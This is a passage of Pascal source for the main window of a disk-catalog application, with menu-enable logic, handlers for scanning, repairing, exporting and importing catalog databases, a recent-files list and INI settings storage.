TFormFoundFileList) /// or (ActiveMDIChild is TFormFoundEmptyList); FormFoundOnTop := (PageControl1.TabIndex=1) and ((TabSheet2.FindChildControl('FormFoundFileList') <> nil) or (TabSheet2.FindChildControl('FormFoundEmptyList') <> nil)); //FormFoundOnTop := false; if FormDBaseOnTop then begin ///DBaseNotEmpty := not TFormDBase(ActiveMDIChild).DBaseIsEmpty; DBaseNotEmpty := not DBaseIsEmpty; ///DBaseNotReadOnly := not TFormDBase(ActiveMDIChild).DBaseIsReadOnly; DBaseNotReadOnly := not DBaseIsReadOnly; ///ActivePanel := TFormDBase(ActiveMDIChild).ActivePanel; ///ActivePanel := APanel; end else begin DBaseNotEmpty := false; DBaseNotReadOnly := false; end; MenuCloseDBase.Enabled := FormDBaseOnTop; MenuScanDisk.Enabled := FormDBaseOnTop and DBaseNotReadOnly; MenuRescanDisk.Enabled := FormDBaseOnTop and DBaseNotReadOnly and DBaseNotEmpty; MenuScanFolder.Enabled := FormDBaseOnTop and DBaseNotReadOnly; MenuScanA.Enabled := FormDBaseOnTop and FloppyAExists and DBaseNotReadOnly; MenuScanB.Enabled := FormDBaseOnTop and FloppyBExists and DBaseNotReadOnly; MenuDirDescr.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuDelRecord.Enabled := FormDBaseOnTop and DBaseNotEmpty and DBaseNotReadOnly; MenuUndelRecord.Enabled := FormDBaseOnTop and DBaseNotEmpty and DBaseNotReadOnly and CanUndeleteRecord; MenuChgLabel.Enabled := FormDBaseOnTop and DBaseNotEmpty and DBaseNotReadOnly; MenuSearchName.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuSearchEmpty.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuSearchSelected.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuDiskInfo.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuDBaseInfo.Enabled := FormDBaseOnTop; MenuBrief.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuDetailed.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuSortName.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuSortExt.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuSortTime.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuSortSize.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuShowTree.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuLocalOptions.Enabled := FormDBaseOnTop; MenuExport.Enabled := FormDBaseOnTop and DBaseNotReadOnly; MenuExportToOtherFormat.Enabled := (FormDBaseOnTop and DBaseNotReadOnly) or FormFoundOnTop; MenuImport.Enabled := FormDBaseOnTop and DBaseNotReadOnly; {$ifdef CZECH} MenuImport4.Enabled := FormDBaseOnTop and DBaseNotReadOnly; {$else} MenuImport4.Enabled := false; {$endif} MenuMakeRuntime.Enabled := FormDBaseOnTop and DBaseNotReadOnly; MenuMaskSelectDisks.Enabled := FormDBaseOnTop and ((ActivePanel = 1) or (ActivePanel = 3)); MenuDelDiskSelection.Enabled := FormDBaseOnTop and ((ActivePanel = 1) or (ActivePanel = 3)) or FormFoundOnTop; MenuSelectAll.Enabled := FormDBaseOnTop and ((ActivePanel = 1) or (ActivePanel = 3)) or FormFoundOnTop; MenuCopy.Enabled := FormDBaseOnTop and ((ActivePanel = 1) or (ActivePanel = 3)) or FormFoundOnTop; MenuPrintDisks.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuPrintTree.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuPrintFiles.Enabled := FormDBaseOnTop and DBaseNotEmpty; MenuPrintFoundFiles.Enabled := ActiveMDIChild is TFormFoundFileList; MenuPrintEmpty.Enabled := ActiveMDIChild is TFormFoundEmptyList; if FormDBaseOnTop then begin ///SetMenuFileDisplayType (TFormDBase(ActiveMDIChild).QGlobalOptions.FileDisplayType); ///SetMenuSortCrit (TFormDBase(ActiveMDIChild).QGlobalOptions.SortCrit); ///MenuShowTree.Checked := TFormDBase(ActiveMDIChild).QGlobalOptions.ShowTree; SetMenuFileDisplayType (MainForm.QGlobalOptions.FileDisplayType); SetMenuSortCrit (MainForm.QGlobalOptions.SortCrit); MenuShowTree.Checked := MainForm.QGlobalOptions.ShowTree; end; end; //----------------------------------------------------------------------------- // Menu handler - Exit procedure TMainForm.MenuExitClick(Sender: TObject); begin Close; end; //----------------------------------------------------------------------------- // Toolbar button handler - scan disk procedure TMainForm.SpeedButtonScanDiskClick(Sender: TObject); var TmpS : ShortString; i : Integer; Drive : char; begin {$ifndef mswindows} ///if ActiveMDIChild is TFormDBase then /// begin FormSelectDrive.ListBoxDrives.MultiSelect := true; if FormSelectDrive.ShowModal = mrOk then with FormSelectDrive.ListBoxDrives do for i := 0 to Items.Count-1 do if Selected[i] then begin TmpS := Items.Strings[i]; if TmpS <> '' then begin Drive := TmpS[1]; if not ScanDisk(UpCase(Drive), g_CommonOptions.bNoQueries) then break; if g_CommonOptions.bEjectAfterCdScan and ((UpCase(Drive) = m_EjectDriveLetter1) or (UpCase(Drive) = m_EjectDriveLetter2)) then Eject(UpCase(Drive)); Application.ProcessMessages; end; end; ///end; {$else} MenuScanFolderClick(Sender); {$endif} end; //----------------------------------------------------------------------------- // Menu handler - rescan disk procedure TMainForm.MenuRescanDiskClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).RescanDisk; RescanDisk; end; //----------------------------------------------------------------------------- // Menu handler - scan folder as disk procedure TMainForm.MenuScanFolderClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then begin if FormScanFolder.ShowModal = mrOk then begin TFormDBase(ActiveMDIChild).ScanFolder(FormScanFolder.Directory, FormScanFolder.DiskName, FormScanFolder.VolumeLabel, false); end; end; } if FormScanFolder.ShowModal = mrOk then ScanFolder(FormScanFolder.Directory,FormScanFolder.DiskName,FormScanFolder.VolumeLabel, false); end; //----------------------------------------------------------------------------- // Toolbar button handler - Scan A: procedure TMainForm.SpeedButtonScanAClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).ScanDisk('A', g_CommonOptions.bNoQueries); ScanDisk('A', g_CommonOptions.bNoQueries); end; //----------------------------------------------------------------------------- // Toolbar button handler - Scan B: procedure TMainForm.SpeedButtonScanBClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).ScanDisk('B', g_CommonOptions.bNoQueries); ScanDisk('B', g_CommonOptions.bNoQueries); end; //----------------------------------------------------------------------------- // Menu handler - delete disk in database procedure TMainForm.MenuDelRecordClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).DeleteRecord; DeleteRecord; end; //----------------------------------------------------------------------------- // Menu handler - search in database by text procedure TMainForm.MenuSearchNameClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SearchName; SearchName; PageControl1.TabIndex:=1; end; //----------------------------------------------------------------------------- // Menu handler - Find selected files procedure TMainForm.MenuSearchSelectedClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SearchSelected; SearchSelected; PageControl1.TabIndex:=1; end; //----------------------------------------------------------------------------- // Menu handler - search in database by disk size procedure TMainForm.MenuSearchEmptyClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).SearchEmpty; SearchEmpty; PageControl1.TabIndex:=1; end; //----------------------------------------------------------------------------- // Menu handler - display disk information procedure TMainForm.MenuDiskInfoClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).ShowDiskInfo; ShowDiskInfo; end; //----------------------------------------------------------------------------- // Menu handler - rename disk procedure TMainForm.MenuChgLabelClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).ChangeDiskName; ChangeDiskName; end; //----------------------------------------------------------------------------- // Menu handler - undelete disk procedure TMainForm.MenuUndelRecordClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).UndeleteRecord; UndeleteRecord; end; //----------------------------------------------------------------------------- // Menu handler - display/edit description procedure TMainForm.SpeedButtonDirDescrClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).EditDescription; EditDescription; end; //----------------------------------------------------------------------------- // Menu handler - close database procedure TMainForm.MenuCloseDBaseClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).Close; AddToLastFilesList(DBaseFileName); QI_CloseDatabase(DBaseHandle, false); DBaseFileName:=''; FormIsClosed := true; Disks.DefaultColWidth:=Disks.ColWidths[0]; Disks.Clear; Disks.RowCount:=1; DiskTree.Items.Clear; DrawGridFiles.RowCount:=1; if TabSheet2.FindChildControl('FormFoundFileList') <> nil then TForm(TabSheet2.FindChildControl('FormFoundFileList')).Close; if TabSheet2.FindChildControl('FormFoundEmptyList') <> nil then TForm(TabSheet2.FindChildControl('FormFoundEmptyList')).Close; HeaderTop.Sections[0].Text:=''; HeaderTop.Sections[1].Text:=''; HeaderTop.Sections[2].Text:=''; StatusBar.Panels[0].Text:=''; StatusBar.Panels[1].Text:=''; end; //----------------------------------------------------------------------------- // Walks through MDI windows and looks for specified type of window with the same tag // as the active window has. function TMainForm.GetFoundForm(FormType: byte): TForm; var i, ActiveTag: Integer; b: boolean; begin Result := nil; if FormType = foBoth then begin Result:=TForm(TabSheet2.FindChildControl('FormFoundEmptyList')); if result <> nil then exit; Result:=TForm(TabSheet2.FindChildControl('FormFoundFileList')); end else begin //if (FormType and foFoundFile <> 0) then Result:=FormFoundFileList; if (FormType and foFoundEmpty <> 0) then Result:=TForm(TabSheet2.FindChildControl('FormFoundEmptyList')); if (FormType and foFoundFile <> 0) then Result:=TForm(TabSheet2.FindChildControl('FormFoundFileList')); end; { if ActiveMDIChild is TFormDBase then begin ActiveTag := TForm(ActiveMDIChild).Tag; for i := 0 to MDIChildCount-1 do if (MDIChildren[i] is TFormFoundFileList) and (FormType and foFoundFile <> 0) or (MDIChildren[i] is TFormFoundEmptyList) and (FormType and foFoundEmpty <> 0) then if MDIChildren[i].Tag = ActiveTag then begin ///Result := MDIChildren[i]; break; end; end; } end; //----------------------------------------------------------------------------- // Tollbar button handler - Show found files - finds the MDI window with found files procedure TMainForm.SpeedButtonShowFoundClick(Sender: TObject); var Form: TForm; begin Form := GetFoundForm(foBoth); ///if Form <> nil then Form.BringToFront; if Form <> nil then PageControl1.TabIndex:=1; end; //----------------------------------------------------------------------------- // Tollbar button handler - Show database - finds the MDI window with the database procedure TMainForm.SpeedButtonShowDBaseClick(Sender: TObject); var i, ActiveTag: Integer; begin { /// if (ActiveMDIChild is TFormFoundFileList) or (ActiveMDIChild is TFormFoundEmptyList) then begin ActiveTag := Tag; for i := 0 to MDIChildCount-1 do if (MDIChildren[i] is TFormDBase) and (MDIChildren[i].Tag = ActiveTag) then begin MDIChildren[i].BringToFront; break; end; end; } PageControl1.TabIndex:=0; end; //----------------------------------------------------------------------------- // Check if the database of this name is open. If so can place it to the front function TMainForm.IsDBaseOpened(DBaseFileName: ShortString; ToFront: boolean): boolean; var i: Integer; begin Result := false; if DBaseFileName = '' then exit; DBaseFileName := AnsiUpperCase(DBaseFileName); if AnsiUpperCase(MainForm.DBaseFileName) = DBaseFileName then Result := true; { for i := 0 to MDIChildCount-1 do if (MDIChildren[i] is TFormDBase) then if AnsiUpperCase(TFormDBase(MDIChildren[i]).DBaseFileName) = DBaseFileName then begin if ToFront then MDIChildren[i].BringToFront; Result := true; break; end; } end; //----------------------------------------------------------------------------- // Menu handler - Reindex procedure TMainForm.MenuReindexClick(Sender: TObject); var CheckResult : integer; begin if LastUsedDir = '' then LastUsedDir := ExtractDir(LastOpenedFile); if LastUsedDir = '' then LastUsedDir := ExtractDir(FormSettings.EditAutoLoadDBase.Text); ReindexDialog.InitialDir := LastUsedDir; ReindexDialog.FileName := '*.qdr'; if ReindexDialog.Execute then begin LastUsedDir := ExtractDir(ReindexDialog.FileName); if IsDBaseOpened (ReindexDialog.FileName, true) then begin Application.MessageBox( lsDBaseIsOpenCannotCompress, lsCannotCompress, mb_OK or mb_IconStop); exit; end; CheckResult := QI_CheckDatabase (ReindexDialog.FileName); if CheckResult = cdItIsRunTime then begin Application.MessageBox( lsCannotCompressAsItIsProtected, lsCannotCompress, mb_OK or mb_IconStop); exit; end; FormReindex.ProcessType := ptReindex; FormReindex.SrcDatabaseName := ReindexDialog.FileName; FormReindex.ShowModal; end; end; //----------------------------------------------------------------------------- // Menu handler - Repair procedure TMainForm.MenuRepairClick(Sender: TObject); var CheckResult : integer; begin if LastUsedDir = '' then LastUsedDir := ExtractDir(LastOpenedFile); if LastUsedDir = '' then LastUsedDir := ExtractDir(FormSettings.EditAutoLoadDBase.Text); OpenRepairDialog.InitialDir := LastUsedDir; OpenRepairDialog.FileName := '*.qdr'; if OpenRepairDialog.Execute then begin LastUsedDir := ExtractDir(OpenRepairDialog.FileName); if IsDBaseOpened (OpenRepairDialog.FileName, true) then begin Application.MessageBox( lsDBaseIsOpenCannotRepair, lsCannotContinue, mb_OK or mb_IconStop); exit; end; // CheckDatabase catches all exceptions CheckResult := QI_CheckDatabase (OpenRepairDialog.FileName); case CheckResult of cdOldVersion: begin Application.MessageBox( lsCannotRepairByOldVersion, lsCannotContinue, mb_OK or mb_IconStop); exit; end; cdNotQDirDBase, cdHeaderCorrupted, cdCannotRead: begin Application.MessageBox( lsCannotRepairCorruptedHeader, lsCannotContinue, mb_OK or mb_IconStop); exit; end; cdItIsRuntime: begin Application.MessageBox( lsCannotRepairRuntimeDatabase, lsCannotContinue, mb_OK or mb_IconStop); exit; end; cdWriteProtected: begin {no problem} end; end; SaveRepairDialog.InitialDir := LastUsedDir; if SaveRepairDialog.Execute then begin FormRepair.SrcDatabaseName := OpenRepairDialog.FileName; FormRepair.TarDatabaseName := SaveRepairDialog.FileName; FormRepair.ShowModal; end; end; end; //----------------------------------------------------------------------------- // Menu handler - Create runtime export procedure TMainForm.MenuMakeRuntimeClick(Sender: TObject); begin ///if not (ActiveMDIChild is TFormDBase) then exit; FormReindex.SrcDBaseHandle := GetDBaseHandle; // it must be here before the dialog if LastUsedDir = '' then LastUsedDir := ExtractDir(LastOpenedFile); if LastUsedDir = '' then LastUsedDir := ExtractDir(FormSettings.EditAutoLoadDBase.Text); SaveDialogExport.InitialDir := LastUsedDir; SaveDialogExport.FileName := lsExportFile; if SaveDialogExport.Execute then begin LastUsedDir := ExtractDir(SaveDialogExport.FileName); if IsDBaseOpened (SaveDialogExport.FileName, false) then begin Application.MessageBox( lsDbaseIsOpenCannotOverwrite, lsCannotExport, mb_OK or mb_IconStop); exit; end; with FormReindex do begin ProcessType := ptRunTime; TarDatabaseName := SaveDialogExport.FileName; ShowModal; end; end; end; //----------------------------------------------------------------------------- // Menu handler - Export procedure TMainForm.MenuExportClick(Sender: TObject); begin ///if not (ActiveMDIChild is TFormDBase) then exit; FormReindex.SrcDBaseHandle := GetDBaseHandle; // it must be here before the dialog if LastUsedDir = '' then LastUsedDir := ExtractDir(LastOpenedFile); if LastUsedDir = '' then LastUsedDir := ExtractDir(FormSettings.EditAutoLoadDBase.Text); SaveDialogExport.InitialDir := LastUsedDir; SaveDialogExport.FileName := lsExportFile; if SaveDialogExport.Execute then begin LastUsedDir := ExtractDir(SaveDialogExport.FileName); if IsDBaseOpened (SaveDialogExport.FileName, false) then begin Application.MessageBox( lsDbaseIsOpenCannotOverwrite, lsCannotExport, mb_OK or mb_IconStop); exit; end; with FormReindex do begin ProcessType := ptExport; TarDatabaseName := SaveDialogExport.FileName; ShowModal; end; end; end; //----------------------------------------------------------------------------- // Menu handler - Import procedure TMainForm.MenuImportClick(Sender: TObject); var CheckResult : integer; begin ///if not (ActiveMDIChild is TFormDBase) then exit; FormReindex.TarDBaseHandle := GetDBaseHandle; if LastUsedDir = '' then LastUsedDir := ExtractDir(LastOpenedFile); if LastUsedDir = '' then LastUsedDir := ExtractDir(FormSettings.EditAutoLoadDBase.Text); OpenDialogImport.InitialDir := LastUsedDir; OpenDialogImport.FileName := '*.qdr'; if OpenDialogImport.Execute then begin LastUsedDir := ExtractDir(OpenDialogImport.FileName); if IsDBaseOpened (OpenDialogImport.FileName, false) then begin Application.MessageBox(lsDBaseIsOpenMustBeClosedFirst, lsCannotImport, mb_OK or mb_IconStop); exit; end; CheckResult := QI_CheckDatabase (OpenDialogImport.FileName); if CheckResult = cdItIsRunTime then begin Application.MessageBox(lsCannotImportAsItIsProtected, lsCannotImport, mb_OK or mb_IconStop); exit; end; if (CheckResult <> 0) and (CheckResult <> cdWriteProtected) then begin Application.MessageBox(lsCannotImportProbablyCorrupted, lsCannotImport, mb_OK or mb_IconStop); exit; end; with FormReindex do begin ProcessType := ptImport; SrcDatabaseName := OpenDialogImport.FileName; ShowModal; end; end; end; //----------------------------------------------------------------------------- // Menu handler - import from QuickDir 4 procedure TMainForm.MenuImport4Click(Sender: TObject); begin {$ifdef CZECH} ///if not (ActiveMDIChild is TFormDBase) then exit; Application.MessageBox(lsAttentionMakeReindexFirst, lsImportFrom4, MB_OK); if OpenDialogImport4.Execute then ImportFromQDir41(OpenDialogImport4.FileName); {$endif} end; //----------------------------------------------------------------------------- // Menu handler - Mask select disks procedure TMainForm.MenuMaskSelectDisksClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).DoSelection; DoSelection; end; //----------------------------------------------------------------------------- // Menu handler - Select all disks procedure TMainForm.MenuSelectAllClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then TFormDBase(ActiveMDIChild).SelectAll; if ActiveMDIChild is TFormFoundFileList then TFormFoundFileList(ActiveMDIChild).SelectAll; if ActiveMDIChild is TFormFoundEmptyList then TFormFoundEmptyList(ActiveMDIChild).SelectAll; } SelectAll; end; //----------------------------------------------------------------------------- // // Menu handler - Unselect disks procedure TMainForm.MenuDelDiskSelectionClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then TFormDBase(ActiveMDIChild).UnselectAll; if ActiveMDIChild is TFormFoundFileList then TFormFoundFileList(ActiveMDIChild).UnselectAll; if ActiveMDIChild is TFormFoundEmptyList then TFormFoundEmptyList(ActiveMDIChild).UnselectAll; } UnselectAll; end; //----------------------------------------------------------------------------- // Toolbar button handler - Up one level in the folder tree procedure TMainForm.SpeedButtonParentClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then /// TFormDBase(ActiveMDIChild).GoToParent; GoToParent; end; //----------------------------------------------------------------------------- // Menu handler - Display database info procedure TMainForm.MenuDBaseInfoClick(Sender: TObject); begin ShowDBaseInfo; end; //----------------------------------------------------------------------------- // Menu handler - Copy to clipboard procedure TMainForm.MenuCopyClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then TFormDBase(ActiveMDIChild).MakeCopy; if ActiveMDIChild is TFormFoundFileList then TFormFoundFileList(ActiveMDIChild).MakeCopy; if ActiveMDIChild is TFormFoundEmptyList then TFormFoundEmptyList(ActiveMDIChild).MakeCopy; } MakeCopy; end; //----------------------------------------------------------------------------- // Menu handler - Export to text format procedure TMainForm.MenuExportToOtherFormatClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then TFormDBase(ActiveMDIChild).ExportToOtherFormat; if ActiveMDIChild is TFormFoundFileList then TFormFoundFileList(ActiveMDIChild).ExportToOtherFormat; if ActiveMDIChild is TFormFoundEmptyList then TFormFoundEmptyList(ActiveMDIChild).ExportToOtherFormat; } ExportToOtherFormat; end; //----------------------------------------------------------------------------- // Toolbar button handler - Print procedure TMainForm.SpeedButtonPrintClick(Sender: TObject); begin { /// if ActiveMDIChild is TFormDBase then ///TFormDBase(ActiveMDIChild).DoPrint(prSelectedPanel); if ActiveMDIChild is TFormFoundFileList then TFormFoundFileList(ActiveMDIChild).MakePrint; if ActiveMDIChild is TFormFoundEmptyList then TFormFoundEmptyList(ActiveMDIChild).MakePrint; } DoPrint(prSelectedPanel); end; //----------------------------------------------------------------------------- // Menu handler - Print tree procedure TMainForm.MenuPrintTreeClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then ///TFormDBase(ActiveMDIChild).DoPrint(prTree); DoPrint(prTree); end; //----------------------------------------------------------------------------- // Menu handler - Print files procedure TMainForm.MenuPrintFilesClick(Sender: TObject); begin ///if ActiveMDIChild is TFormDBase then ///TFormDBase(ActiveMDIChild).DoPrint(prFiles); DoPrint(prFiles); end; //----------------------------------------------------------------------------- // Menu handler - Print found files procedure TMainForm.MenuPrintFoundFilesClick(Sender: TObject); begin if ActiveMDIChild is TFormFoundFileList then TFormFoundFileList(ActiveMDIChild).MakePrint; end; //----------------------------------------------------------------------------- // Menu handler - Print found disks procedure TMainForm.MenuPrintEmptyClick(Sender: TObject); begin if ActiveMDIChild is TFormFoundEmptyList then TFormFoundEmptyList(ActiveMDIChild).MakePrint; end; //----------------------------------------------------------------------------- // Menu handler - Display About dialog procedure TMainForm.MenuAboutClick(Sender: TObject); begin FormAbout.ShowModal; end; //----------------------------------------------------------------------------- // Menu handler - Help procedure TMainForm.MenuHelpContentClick(Sender: TObject); begin if GetFoundForm(foBoth) <> nil then Application.HelpContext(0); end; //----------------------------------------------------------------------------- // Menu handler - Register //----------------------------------------------------------------------------- // Adds the last open database to the list of last 10 open files in teh File menu procedure TMainForm.AddToLastFilesList(FileName: ShortString); var i: integer; begin // first delete the string from the list if it is there DeleteFromLastFilesList(FileName); // move all names down for i := 10 downto 2 do LastFiles[i] := LastFiles[i-1]; LastFiles[1] := FileName; UpdateLastFilesList; end; //----------------------------------------------------------------------------- // Removes file name from the Last 10 Open list procedure TMainForm.DeleteFromLastFilesList(FileName: ShortString); var i, j: integer; begin for i := 1 to 10 do if (AnsiUpperCase(LastFiles[i]) = AnsiUpperCase(FileName)) then begin for j := i to 9 do LastFiles[j] := LastFiles[j+1]; LastFiles[10] := ''; UpdateLastFilesList; exit; end; end; //----------------------------------------------------------------------------- // Updates the menu by the list of last 10 open files procedure TMainForm.UpdateLastFilesList; var LastFilesToShow: integer; i: integer; begin MenuLastFile1.Caption := LimitCharsInPath(LastFiles[1],50); MenuLastFile2.Caption := LimitCharsInPath(LastFiles[2],50); MenuLastFile3.Caption := LimitCharsInPath(LastFiles[3],50); MenuLastFile4.Caption := LimitCharsInPath(LastFiles[4],50); MenuLastFile5.Caption := LimitCharsInPath(LastFiles[5],50); MenuLastFile6.Caption := LimitCharsInPath(LastFiles[6],50); MenuLastFile7.Caption := LimitCharsInPath(LastFiles[7],50); MenuLastFile8.Caption := LimitCharsInPath(LastFiles[8],50); MenuLastFile9.Caption := LimitCharsInPath(LastFiles[9],50); MenuLastFile10.Caption := LimitCharsInPath(LastFiles[10],50); LastFilesToShow := 10; for i:=1 to 10 do if LastFiles[i] = '' then begin LastFilesToShow := i-1; break; end; if LastFilesToShow > MaxLastFilesToShow then LastFilesToShow := MaxLastFilesToShow; if (LastFilesToShow > 0) then MenuLastFileSepar.Visible := true else MenuLastFileSepar.Visible := false; if (LastFilesToShow > 0) then MenuLastFile1.Visible := true else MenuLastFile1.Visible := false; if (LastFilesToShow > 1) then MenuLastFile2.Visible := true else MenuLastFile2.Visible := false; if (LastFilesToShow > 2) then MenuLastFile3.Visible := true else MenuLastFile3.Visible := false; if (LastFilesToShow > 3) then MenuLastFile4.Visible := true else MenuLastFile4.Visible := false; if (LastFilesToShow > 4) then MenuLastFile5.Visible := true else MenuLastFile5.Visible := false; if (LastFilesToShow > 5) then MenuLastFile6.Visible := true else MenuLastFile6.Visible := false; if (LastFilesToShow > 6) then MenuLastFile7.Visible := true else MenuLastFile7.Visible := false; if (LastFilesToShow > 7) then MenuLastFile8.Visible := true else MenuLastFile8.Visible := false; if (LastFilesToShow > 8) then MenuLastFile9.Visible := true else MenuLastFile9.Visible := false; if (LastFilesToShow > 9) then MenuLastFile10.Visible := true else MenuLastFile10.Visible := false; end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile1Click(Sender: TObject); begin OpenDatabase(LastFiles[1]); LastOpenedFile := LastFiles[1]; DeleteFromLastFilesList(LastFiles[1]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile2Click(Sender: TObject); begin OpenDatabase(LastFiles[2]); LastOpenedFile := LastFiles[2]; DeleteFromLastFilesList(LastFiles[2]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile3Click(Sender: TObject); begin OpenDatabase(LastFiles[3]); LastOpenedFile := LastFiles[3]; DeleteFromLastFilesList(LastFiles[3]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile4Click(Sender: TObject); begin OpenDatabase(LastFiles[4]); LastOpenedFile := LastFiles[4]; DeleteFromLastFilesList(LastFiles[4]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile5Click(Sender: TObject); begin OpenDatabase(LastFiles[5]); LastOpenedFile := LastFiles[5]; DeleteFromLastFilesList(LastFiles[5]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile6Click(Sender: TObject); begin OpenDatabase(LastFiles[6]); LastOpenedFile := LastFiles[6]; DeleteFromLastFilesList(LastFiles[6]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile7Click(Sender: TObject); begin OpenDatabase(LastFiles[7]); LastOpenedFile := LastFiles[7]; DeleteFromLastFilesList(LastFiles[7]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile8Click(Sender: TObject); begin OpenDatabase(LastFiles[8]); LastOpenedFile := LastFiles[8]; DeleteFromLastFilesList(LastFiles[8]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile9Click(Sender: TObject); begin OpenDatabase(LastFiles[9]); LastOpenedFile := LastFiles[9]; DeleteFromLastFilesList(LastFiles[9]); end; //----------------------------------------------------------------------------- // Menu handler - clicked on the file name of recently open database procedure TMainForm.MenuLastFile10Click(Sender: TObject); begin OpenDatabase(LastFiles[10]); LastOpenedFile := LastFiles[10]; DeleteFromLastFilesList(LastFiles[10]); end; //----------------------------------------------------------------------------- // Loads the saved values from Settings.INI file and UserCmd.INI file procedure TMainForm.LoadSettingsIni; var IniFile: TIniFile; sIniFileName : AnsiString; begin sIniFileName := ExtractFilePath(ParamStr(0)) + 'Settings.ini'; if FileExists(sIniFileName) then begin IniFile := TIniFile.Create(sIniFileName); ReadLastFilesFromIni(IniFile); FormSearchFileDlg.LoadFromIni(IniFile); FormMoreOptions.LoadFromIni(IniFile); IniFile.Free; end; sIniFileName := ExtractFilePath(ParamStr(0)) + 'UserCmd.ini'; if FileExists(sIniFileName) then begin IniFile := TIniFile.Create(sIniFileName); ReadUserCommandsFromIni(IniFile); IniFile.Free; end; CreateTempFolder(); end; //----------------------------------------------------------------------------- // Saves settings to to Settings.INI procedure TMainForm.SaveSettingsIni; var IniFile: TIniFile; sIniFileName : AnsiString; begin sIniFileName := ExtractFilePath(ParamStr(0)) + 'Settings.ini'; if not FileExists(sIniFileName) then // test file creation begin if not TestFileCreation(sIniFileName) then exit; end else begin // check if it is read-only ///if ((GetFileAttributes(PChar(sIniFileName)) and FILE_ATTRIBUTE_READONLY) <> 0) then exit; end; IniFile := TIniFile.Create(sIniFileName); WriteLastFilesToIni(IniFile); FormSearchFileDlg.SaveToIni(IniFile); FormMoreOptions.SaveToIni(IniFile); IniFile.Free; end; //----------------------------------------------------------------------------- // Reads the list of last 10 open files from the INI file procedure TMainForm.ReadLastFilesFromIni(var IniFile: TIniFile); begin LastOpenedFile := IniFile.ReadString('RecentFiles', 'LastOpened', ''); LastUsedDir := IniFile.ReadString('RecentFiles', 'LastDir', ''); MaxLastFilesToShow := IniFile.ReadInteger('RecentFiles', 'ShowMax', MaxLastFilesToShow); LastFiles[1] := IniFile.ReadString('RecentFiles', 'File1', ''); LastFiles[2] := IniFile.ReadString('RecentFiles', 'File2', ''); LastFiles[3] := IniFile.ReadString('RecentFiles', 'File3', ''); LastFiles[4] := IniFile.ReadString('RecentFiles', 'File4', ''); LastFiles[5] := IniFile.ReadString('RecentFiles', 'File5', ''); LastFiles[6] := IniFile.ReadString('RecentFiles', 'File6', ''); LastFiles[7] := IniFile.ReadString('RecentFiles', 'File7', ''); LastFiles[8] := IniFile.ReadString('RecentFiles', 'File8', ''); LastFiles[9] := IniFile.ReadString('RecentFiles', 'File9', ''); LastFiles[10] := IniFile.ReadString('RecentFiles', 'File10', ''); UpdateLastFilesList; end; //----------------------------------------------------------------------------- // Writes the list of last 10 open files to the INI file procedure TMainForm.WriteLastFilesToIni(var IniFile: TIniFile); begin if not IsDBaseOpened(LastOpenedFile, false) then LastOpenedFile := ''; IniFile.WriteString('RecentFiles', 'LastOpened', LastOpenedFile); IniFile.WriteString('RecentFiles', 'LastDir', LastUsedDir); IniFile.WriteInteger('RecentFiles', 'ShowMax', MaxLastFilesToShow); IniFile.WriteString('RecentFiles', 'File1', LastFiles[1]); IniFile.WriteString('RecentFiles', 'File2', LastFiles[2]); IniFile.WriteString('RecentFiles', 'File3', LastFiles[3]); IniFile.WriteString('RecentFiles', 'File4', LastFiles[4]); IniFile.WriteString('RecentFiles', 'File5', LastFiles[5]); 